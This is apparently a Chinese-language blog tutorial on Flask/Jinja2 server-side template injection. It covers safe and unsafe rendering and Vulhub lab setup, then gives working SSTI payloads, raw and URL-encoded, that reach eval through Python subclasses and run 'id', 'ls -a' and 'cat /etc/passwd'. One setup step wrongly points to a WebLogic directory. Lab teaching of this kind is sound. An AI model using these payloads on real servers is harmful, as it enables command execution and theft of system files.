FLASK SSTI服务器端模板注入复现:原理详解+环境搭建+渗透实践

目录

[一、FLASK SSTI模板注入](#一、FLASK SSTI模板注入)

1、模板注入简介

2、环境构成

[3、Flask 模板渲染基础](#3、Flask 模板渲染基础)

(1)安全方式

(2)危险方式

(3)触发条件

二、环境搭建

[1、确保系统已安装 Docker 和 Docker-Compose](#1、确保系统已安装 Docker 和 Docker-Compose)

[2、下载 Vulhub](#2、下载 Vulhub)

3、进入环境目录

4、启动docker环境

5、查看环境状态

6、分析源码

三、渗透实战

1、访问应用

2、信息搜集

3、获取用户id

4、查看当前目录

5、查看/etc/passwd


本文详细介绍了Flask SSTI服务器端模板注入安全风险及其利用过程。通过Vulhub搭建渗透环境,演示了通过构造恶意Payload获取系统权限、查看目录内容和读取/etc/passwd等敏感文件完整渗透流程。

一、FLASK SSTI模板注入

1、模板注入简介

Flask 作为 Python 主流 Web 框架,其模板渲染机制若使用不当,可能引入 服务器端模板注入(Server-Side Template Injection, SSTI) 安全风险。攻击者可通过注入恶意模板代码,执行服务器端命令、读取敏感文件甚至获取服务器控制权,危害极大。SSTI 发生在当攻击者能够将恶意模板代码注入到服务器端模板中,并且该代码被模板引擎执行时。

**2、**环境构成

  • Flask:Python Web 框架,处理请求和响应。

  • Jinja2 :Flask 默认的模板引擎,负责将模板文件(通常是 .html)中的动态部分替换为实际值。Jinja2 是核心

**3、**Flask 模板渲染基础

Flask 默认使用 Jinja2 模板引擎,模板渲染有两种核心方式:

(1)安全方式

使用 render_template(template_name, **context),第一个参数为模板文件名 (需提前在 templates 目录中存在),后续参数为模板中使用的变量(用户输入仅作为 "数据" 传递,不参与模板解析)。

复制代码
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/safe')
def safe():
    name = request.args.get('name', 'Guest')
    # 模板是固定的,name是传入的参数(数据)
    template = "<h1>Hello {{ user_name }}!</h1>"
    return render_template_string(template, user_name=name)
  • 原理 :模板内容 {``{ user_name }}代码 (Jinja2 语法),它告诉引擎"此处插入变量"。而 user_name=name 中的 name数据。引擎将数据安全地渲染到代码指定的位置。

  • 访问 /?name={``{7*7}} :输出 Hello {``{7*7}}!。用户输入被始终当作数据处理。

(2)危险方式

使用 render_template_string(template_string, **context),第一个参数为模板字符串(直接接受字符串作为模板内容),若字符串中包含用户输入且未过滤,会导致输入被当作模板代码解析。

复制代码
@app.route('/vulnerable')
def vulnerable():
    name = request.args.get('name', 'Guest')
    # 将用户输入(数据)拼接到模板字符串中(代码)
    template = f"<h1>Hello {name}!</h1>" # 🚨 致命错误!
    return render_template_string(template)
  • 原理 :在模板渲染之前 ,Python 的 f-string 先将 name 的值拼接 到了字符串里。Jinja2 拿到的是一个完整的字符串,它会解析并执行其中的所有语法

  • 访问 /?name={``{8*18}}

    1. name = "{``{8*18}}"

    2. template = "<h1>Hello {``{8*18}}!</h1>" (拼接完成)

    3. Jinja2 渲染这个字符串,遇到 {``{8*18}},识别为表达式并执行。

    4. 输出 Hello 144! 。用户输入被当作代码执行。

Jinja2 模板支持变量渲染(如 {``{ variable }})和逻辑控制(如 {% if %}),攻击者正是利用这一特性,注入包含 {``{ }}{% %} 的恶意代码,触发代码执行。

**(3)**触发条件

Flask SSTI 注入成立需同时满足以下两个条件:

  • 使用危险渲染函数 :代码中调用 render_template_string(或其他直接渲染字符串的方法),且模板字符串包含用户输入。
  • 输入未过滤 :未对用户输入中的模板关键字(如 {``{}}{%%})进行转义或过滤,导致恶意代码被模板引擎解析执行。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Flask模板注入,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

复制代码
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

复制代码
git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入环境目录

Vulhub 已经准备好现成的渗透环境,我们只需进入对应目录并启动它。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

复制代码
cd weblogic
cd CVE-2020-14882

4、启动docker环境

在Flask/ssti目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

复制代码
docker-compose up -d

命令执行后,Docker 会完成拉取一个包含Flask ssti注入安全风险(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,说明由Vulhub 项目提供的ssti镜像),容器已正常运行 58 分钟,如下所示。

复制代码
docker ps           
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                             NAMES
8e7866d5249e   vulhub/flask:1.1.1   "/bin/sh -c 'gunicor..."   58 minutes ago   Up 58 minutes   0.0.0.0:8000->8000/tcp, :::8000->8000/tcp   ssti-web-1 
  • 容器ID : 8e7866d5249e (可以用前四位 8e78 来操作它)

  • 镜像 : vulhub/flask:1.1.1 (专为ssti模板注入复现准备的镜像)

  • 状态 : 已运行 58分钟 (环境稳定)

  • 端口映射 : 宿主机的 8000 端口 映射到 容器的 8000 端口

  • 访问地址 : http://宿主机IP地址:8000 或在宿主机直接访问 http://127.0.0.1:8000

6、分析源码

进入到Dokcer环境内部,查看Flask对应的源代码,如下所示。

我们对这段存在严重SSTI风险的Flask源码进行注释,具体如下所示。

复制代码
from flask import Flask, request
from jinja2 import Template  # 直接导入Jinja2的Template类

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')  # 从URL参数获取name值,默认为'guest'

    t = Template("Hello " + name)  # 🚨 核心:字符串拼接
    return t.render()              # 🚨 触发:渲染拼接后的模板

if __name__ == "__main__":
    app.run()

用户可控的输入 (name) 直接拼接到了模板字符串中,使得用户输入成为了模板结构的一部分,而Jinja2引擎的工作原理是解析并执行模板中的所有语法结构 。当引擎遇到 {``{ ... }}{% ... %} 等语法时,会将其中的内容作为Python代码进行解析和执行。

复制代码
URL: /?name={{8*18}}
代码: Template("Hello " + "{{8*18}}") → Template("Hello {{8*18}}")
渲染: Jinja2识别"{{8*18}}"为表达式并执行计算
输出: Hello 144 ❌ (确认安全风险!)

三、渗透实战

1、访问应用

Docker启动完成后,攻击者可以构造URL,访问应用首页,确认服务正常:

复制代码
http://192.168.59.135:8000

2、信息搜集

信息搜集的关键通常在 / 路由,通过 name 参数传入,注入Payload:?name={{8*18}},完整的URL地址如下所示。

复制代码
http://192.168.59.135:8000/?name={{8*18}}

如果存在模板注入安全风险,响应应该是计算后的结果 Hello 144!而不是原始的计算公式 **Hello {{818}}!***。

3、获取用户id

构造攻击Payload,在不依赖特定子类索引号的情况下,可靠地找到并调用 eval 函数来执行系统命令(获取id)。

复制代码
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  • 利用 Python 面向对象的继承特性(__class____base____subclasses__)突破 Jinja2 模板的沙箱限制;
  • {% if 'eval' in b.keys() %}从内置类中寻找包含敏感函数(eval)的模块全局变量;
  • b['eval']:获取字典中的 eval 函数,通过 eval 执行系统命令,实现服务器端命令注入。
    • '__import__("os").popen("id").read()':作为 eval 的参数,是一段 Python 代码:
      • __import__("os"):导入 os 模块(用于执行系统命令)
      • .popen("id"):执行系统命令 id(打开一个管道,执行命令)
      • .read():读取命令执行的结果

Payload的整体效果是通过 eval 执行上述代码,最终返回 id 命令的执行结果(如当前用户的 UID、GID 等信息),完整的注入URL如下所示。

复制代码
192.168.59.135:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

攻击效果如下所示,这是Linux 系统中 id 命令的输出,用于展示当前进程(即 Flask 应用进程)的用户身份与权限信息

从输出看,最危险的信息是 groups 中包含 root 组(GID=0),分析如下所示。

字段 具体值 含义
uid(用户 ID) uid=33(www-data) 当前进程的用户身份www-data,用户 ID(UID)为 33。 www-data 是 Linux 系统中默认的 Web 服务专用用户(如 Nginx、Apache、Flask 等 Web 应用通常以该用户运行,目的是通过 "最小权限原则" 限制 Web 服务的操作范围)。
gid(主组 ID) gid=33(www-data) 当前进程的主用户组www-data,组 ID(GID)为 33。 主组是用户默认所属的组,进程创建文件 / 目录时,默认会继承主组的权限。
groups(附加组列表) groups=33(www-data),0(root) 当前进程所属的所有用户组 ,包含两部分: 1. 附加组 www-data(GID=33):与主组一致,是 Web 服务的常规组; 2. 附加组 root(GID=0):超级用户组 (Linux 中 GID=0 固定对应 root 组,属于最高权限组)。

4、查看当前目录

构造攻击Payload,在不依赖特定子类索引号的情况下,可靠地找到并调用 eval 函数来执行系统命令ls -a。

复制代码
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls -a").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  • b['eval']:获取字典中的 eval 函数
  • 作为参数的字符串 '__import__("os").popen("ls -a").read()' 是一段 Python 代码,功能拆解:
    • __import__("os"):动态导入 os 模块(用于与操作系统交互)
    • .popen("ls -a"):通过 os.popen() 执行系统命令 ls -als -a 用于列出当前目录下的所有文件,包括以 . 开头的隐藏文件)
    • .read():读取命令执行的输出结果

整个过程可分为 "寻找可利用对象" 和 "执行命令" 两个核心阶段。相对于上一个命令,区别就是将执行id命令改为执行ls -a命令,列出当前目录下的所有文件和隐藏文件,其URL地址如下所示。

复制代码
http://192.168.59.135:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20%20%20%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20%20%20%20%20%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22ls%20-a%22).read()%27)%20}}%20%20%20%20{%%20endif%20%}%20%20{%%20endif%20%}%20%20{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

通过 eval 函数执行上述PoC,最终将 ls -a 的执行结果返回给攻击者,执行结果如下所示。

5、查看/etc/passwd

构造攻击Payload,在不依赖特定子类索引号的情况下,可靠地找到并调用 eval 函数来执行系统命令查看/etc/passwd文件。

复制代码
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /etc/passwd").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  • b['eval'] :从字典 b 中取出 eval 函数。

  • 调用 eval:执行传入的字符串参数。

  • 参数分解

    • __import__("os") :动态导入 os 模块(用于执行系统命令)。

    • .popen("cat /etc/passwd") :使用 os 模块的 popen 方法执行系统命令 cat /etc/passwd

    • .read():读取命令执行的结果。

整个过程可分为 "寻找可利用对象" 和 "执行命令" 两个核心阶段。相对于上一个命令,区别就是将执行ls -a命令改为执行cat /etc/passwd 命令,读取**/etc/passwd**文件,其URL地址如下所示。

复制代码
http://192.168.59.135:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20%20%20%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20%20%20%20%20%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22cat%20/etc/passwd%22).read()%27)%20}}%20%20%20%20{%%20endif%20%}%20%20{%%20endif%20%}%20%20{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

通过 eval 函数执行上述PoC,最终将**读取服务器上的敏感文件 /etc/passwd**的执行结果返回给攻击者,执行结果如下所示。

相关推荐
白帽子黑客罗哥5 小时前
湖南网安基地科技有限公司的课程怎么样?费用值不值?
web安全·网络安全·实战项目·湖南网安基地
花酒锄作田12 小时前
Flask集成MCP的AI Agent
flask·mcp
mooyuan天天16 小时前
MySQL数据库UDF提权+Find提权渗透实战(Raven2靶机)
web安全·udf提权·phpmailer·raven2
Xudde.17 小时前
BabyPass靶机渗透
笔记·学习·安全·web安全
像风没有归宿a18 小时前
2024年全球网络安全威胁报告:AI攻击与勒索软件新变种
人工智能·安全·web安全
独行soc1 天前
2025年渗透测试面试题总结-273(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
独行soc1 天前
2025年渗透测试面试题总结-274(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
vortex51 天前
渗透测试红队快速打点策略的思考
网络·安全·web安全
眠晚晚1 天前
云上攻防-Docker-堡垒机安全详解
安全·web安全·网络安全·docker·容器